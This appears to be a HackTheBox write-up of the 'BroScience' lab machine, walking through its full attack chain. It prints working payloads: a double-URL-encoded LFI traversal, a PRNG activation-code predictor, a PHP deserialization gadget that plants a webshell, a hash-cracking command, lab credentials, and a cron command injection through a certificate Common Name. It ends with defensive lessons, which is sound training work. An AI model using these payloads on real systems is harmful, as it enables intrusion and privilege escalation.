HTB: BroScience Writeup
BroScience - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | BroScience |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.228.129 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
BroScience is a gym-themed web application running on Apache behind the vhost broscience.htb. The registration/activation flow leaks its account-activation logic through a filtered but bypassable Local File Inclusion, which reveals that activation codes are generated from a PHP srand(time()) seed — completely predictable if you know the server’s clock. Activating an account opens up a theme-preference cookie that turns out to be a base64-encoded, serialized PHP object; abusing the AvatarInterface::__wakeup() gadget lets an attacker copy arbitrary files, including their own PHP session file (which contains an attacker-controlled username field) into the webroot as a .php file, yielding remote code execution. From there, database credentials pulled from the app’s own config file unlock a users table whose password hashes crack against a wordlist, handing over SSH access. Root is obtained by abusing a cron job that regenerates a TLS certificate and blindly interpolates the certificate’s Common Name field into a shell mv command.
TL;DR: Double-URL-encoded LFI → leak includes/utils.php → predict activation code via srand(time()) → activate account → PHP object injection in user-prefs cookie (AvatarInterface::__wakeup() → Avatar::save()) copies PHP session file into webroot as cmd.php → RCE as www-data → dump db_connect.php creds → crack bill’s hash from Postgres → SSH as bill (user.txt) → root cron /opt/renew_cert.sh command-injects via a certificate’s Common Name field, gated on the fixed output filename broscience.crt → root (root.txt).
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.129.228.129Results:
22/tcp— OpenSSH80/tcp— Apache (HTTP)443/tcp— Apache (HTTPS), certificate/vhost revealsbroscience.htb
echo "10.129.228.129 broscience.htb" | sudo tee -a /etc/hostsService Enumeration
broscience.htb is a gym/bodybuilding-themed site with login and registration forms. Registration sends an activation email the attacker doesn’t have access to, so account activation had to be forced. Browsing the page source showed avatar/images being served through includes/img.php?path=, a classic LFI-shaped sink.
Vulnerability Assessment
includes/img.php?path=accepts a path parameter with naive traversal filtering — bypassable.includes/utils.php(once leaked) shows activation codes are derived fromsrand(time())— no cryptographically secure randomness.- The
user-prefscookie is an unauthenticated, attacker-controlledunserialize()call — PHP Object Injection via theAvatarInterface/Avatargadget pair. includes/db_connect.php(reachable once LFI/RCE is in play) stores plaintext DB credentials.- Root cron
/opt/renew_cert.shinterpolates a certificate’s Common Name field directly into a shellmvcommand — command injection.
Initial Foothold
Exploitation Path
1. Bypassing the LFI filter with double URL-encoding
A naive path-traversal payload against img.php was caught by the app’s filter:
curl -k 'https://broscience.htb/includes/img.php?path=../../../../../../etc/passwd'Double URL-encoding the traversal sequence (../ → ..%252F) got past the filter, since the app appears to decode/filter once but the webserver/PHP decodes again, letting the second-layer %2F resolve to / after the filter has already run:
curl -k 'https://broscience.htb/includes/img.php?path=..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd'With arbitrary file read confirmed, the same primitive was pointed at the app’s own source under includes/.
2. Leaking predictable activation codes
includes/utils.php (read via the LFI) contains:
function generate_activation_code() { $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; srand(time()); $activation_code = ""; for ($i = 0; $i < 32; $i++) { $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)]; } return $activation_code;}srand(time()) means the entire 32-character code is deterministic once the server’s Unix timestamp at registration time is known — PHP’s rand() is not cryptographically secure and is fully reproducible from its seed.
A test account (melo123) was registered while capturing the response headers to read the server’s Date header, converted to epoch (1784620663). A local PHP replica of generate_activation_code() was used to regenerate candidate codes around that timestamp (a small window on either side accounts for request latency/clock skew between the Date header and the actual time() call server-side):
<?phpfunction generate_activation_code($t) { $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; srand($t); $activation_code = ""; for ($i = 0; $i < 32; $i++) { $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)]; } return $activation_code;}$t_start = (int)$argv[1];for ($t = $t_start - 5; $t <= $t_start + 5; $t++) { echo generate_activation_code($t) . "\n";}php generate_activation_code.php 1784620663 > activation_codes.txtOne candidate, Fp0NmNtO1EzBe53LBjZ1ScJElJIKdEoC, successfully activated the account against activate.php?code=.
3. PHP Object Injection via the user-prefs cookie
Once logged in, the theme-picker preference is stored in a user-prefs cookie — a base64-encoded serialized PHP object, unserialized server-side with no integrity check. utils.php defines the vulnerable gadget chain:
class Avatar { public $imgPath; public function __construct($imgPath) { $this->imgPath = $imgPath; } public function save($tmp) { $f = fopen($this->imgPath, "w"); fwrite($f, file_get_contents($tmp)); fclose($f); }}class AvatarInterface { public $tmp; public $imgPath; public function __wakeup() { $a = new Avatar($this->imgPath); $a->save($this->tmp); }}AvatarInterface::__wakeup() fires automatically on unserialize() and calls Avatar::save(), which reads $tmp and writes its contents to $imgPath — both fields fully attacker-controlled. This is a generic arbitrary-file-copy primitive.
To turn file-copy into RCE, the target was the attacker’s own PHP session file (sess_<PHPSESSID> under the PHP session storage path), which contains the account’s session data including the username. The account’s username was changed to a PHP payload via the update_user.php endpoint (required id=6 in the POST body to target the right user record):
username=<?=exec($_GET[melo])?>With the malicious username now sitting inside the session file, a serialized AvatarInterface object was crafted to copy that session file into the webroot as a .php file:
<?phpclass Avatar { public $imgPath; public function __construct($imgPath) { $this->imgPath = $imgPath; } public function save($tmp) { $f = fopen($this->imgPath, "w"); fwrite($f, file_get_contents($tmp)); fclose($f); }}class AvatarInterface { public $tmp; public $imgPath; public function __wakeup() { $a = new Avatar($this->imgPath); $a->save($this->tmp); }}$a = new AvatarInterface();$a->tmp = "sess_<PHPSESSID>";$a->imgPath = "/var/www/html/cmd.php";echo base64_encode(serialize($a)) . "\n";Setting the user-prefs cookie to this payload’s output and refreshing the page triggers unserialize(), which invokes __wakeup() and copies the session file (now containing the <?=exec($_GET[melo])?> payload as the stored username) into /var/www/html/cmd.php.
4. RCE as www-data
curl -k "https://broscience.htb/cmd.php?melo=id"The webshell executed as www-data, giving code execution on the target.
5. Database credentials and hash cracking
includes/db_connect.php (read post-foothold) exposed the application’s Postgres credentials:
db_user = dbuserdb_pass = RangeOfMotion%777db_salt = NaClConnecting and dumping the users table yielded salted password hashes. Using the leaked salt (NaCl), hashcat mode 20 (salted MD5, md5($salt.$pass) variant) was run against the hash list:
hashcat -m 20 -a 0 hashes.txt /usr/share/wordlists/rockyou.txtThe hash for the user bill cracked to iluvhorsesandgym.
ssh bill@10.129.228.129# Password: iluvhorsesandgymcat /home/bill/user.txtUser Flag: <redacted>Privilege Escalation
With a shell as bill, process/cron enumeration surfaced a root-owned cron job invoking /opt/renew_cert.sh, a certificate-renewal script readable by bill. The script checks whether a target certificate is close to expiry and, if so, generates a replacement and moves it into place with a command built from the certificate’s own metadata:
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"$commonName is read out of the certificate being processed — the openssl Common Name (CN) field is fully attacker-controlled at certificate creation time and is substituted directly into an unquoted/unsanitized shell command, i.e. classic Bash command injection: a value like $(payload) or `payload` in the CN field gets executed by the shell that builds the mv command.
The critical detail discovered while working the script was that the cron’s expiry check and file-discovery logic operate on a fixed, expected filename — broscience.crt — rather than scanning /home/bill/Certs/ for arbitrary certificate files. An attacker-supplied certificate dropped in under an arbitrary name (e.g. evil.crt) is silently ignored by the cron; the payload has to be written out and staged as broscience.crt specifically for the job to pick it up and process it (and thus interpolate the injected $commonName into the mv command it runs as root).
Exploitation followed this shape:
# Generate a short-lived self-signed cert (short -days value keeps it inside# the script's expiry-check window so the vulnerable code path is reached),# injecting a command in the Common Name (CN) field.openssl req -x509 -sha256 -nodes -days 1 -newkey rsa:4096 \ -keyout /dev/null -out broscience.crt# When prompted for Common Name, supply the injection payload instead of a hostname.
# Stage the certificate under the exact filename the cron expects.cp broscience.crt /home/bill/Certs/broscience.crt
# Wait for the root cron to pick it up and execute the injected mv command as root.Once the cron fired against the staged broscience.crt, the injected command executed with root privileges, confirming full root code execution on the box.
cat /root/root.txtRoot Flag: <redacted>Attack Chain Summary
Double URL-encoded LFI (img.php) → leak includes/utils.php source → predict activation code (srand(time()) seed) → activate registered account → PHP Object Injection in user-prefs cookie (AvatarInterface::__wakeup → Avatar::save) → copy PHP session file (username = PHP payload) into webroot as cmd.php → RCE as www-data → leak includes/db_connect.php DB creds → dump users table, crack bill's hash (hashcat -m 20) → SSH as bill → user.txt → abuse root cron /opt/renew_cert.sh command injection via cert Common Name → stage payload as fixed filename broscience.crt → rootTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service scanning |
curl | Manual LFI/RCE payload delivery |
php (CLI) | Replicating srand()/rand() to predict activation codes |
hashcat | Cracking salted password hashes dumped from Postgres |
openssl | Crafting the malicious certificate for the root cron injection |
ssh | Access as bill after credential recovery |
Key Learnings
Techniques Practiced
- Bypassing an LFI filter with double URL-encoding
- Exploiting a predictable PRNG seed (
srand(time())) to forge time-limited secrets - PHP Object Injection via an unauthenticated
unserialize()on a cookie value - Turning an arbitrary-file-copy gadget into RCE via PHP session-file poisoning
- Credential harvesting from application source and cracking salted hashes
- Bash command injection through unsanitized certificate metadata in a root cron job
Lessons Learned
- Filters that decode input once are trivially bypassed by encoding a payload twice — always test single vs. double (or more) encoding against any input-sanitizing filter.
- Never seed a PRNG with a low-entropy, guessable value like the current time for anything security-sensitive (activation codes, tokens, password-reset secrets).
- Never call
unserialize()on user-controlled input; PHP Object Injection turns any reachable__wakeup()/__destruct()gadget into an attacker-controlled sink. - PHP session files are themselves attacker-influenceable (any field the app lets a user set, like a username, lands verbatim in the session store) — treat them as untrusted content once a file-copy/file-write primitive exists.
- Never interpolate externally-supplied metadata (X.509 fields, filenames, headers) directly into a shell command — quote and validate, or better, avoid shelling out with that data at all.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup — BroScience (Document No D23.100.220, prepared by C4rm3l0, machine author bmdyy) — used for conceptual/CVE-adjacent context on the LFI filter-bypass technique, the PRNG weakness, and the PHP deserialization gadget chain; all IPs, commands, outputs, and credentials in this writeup are from the author’s own solve against
10.129.228.129.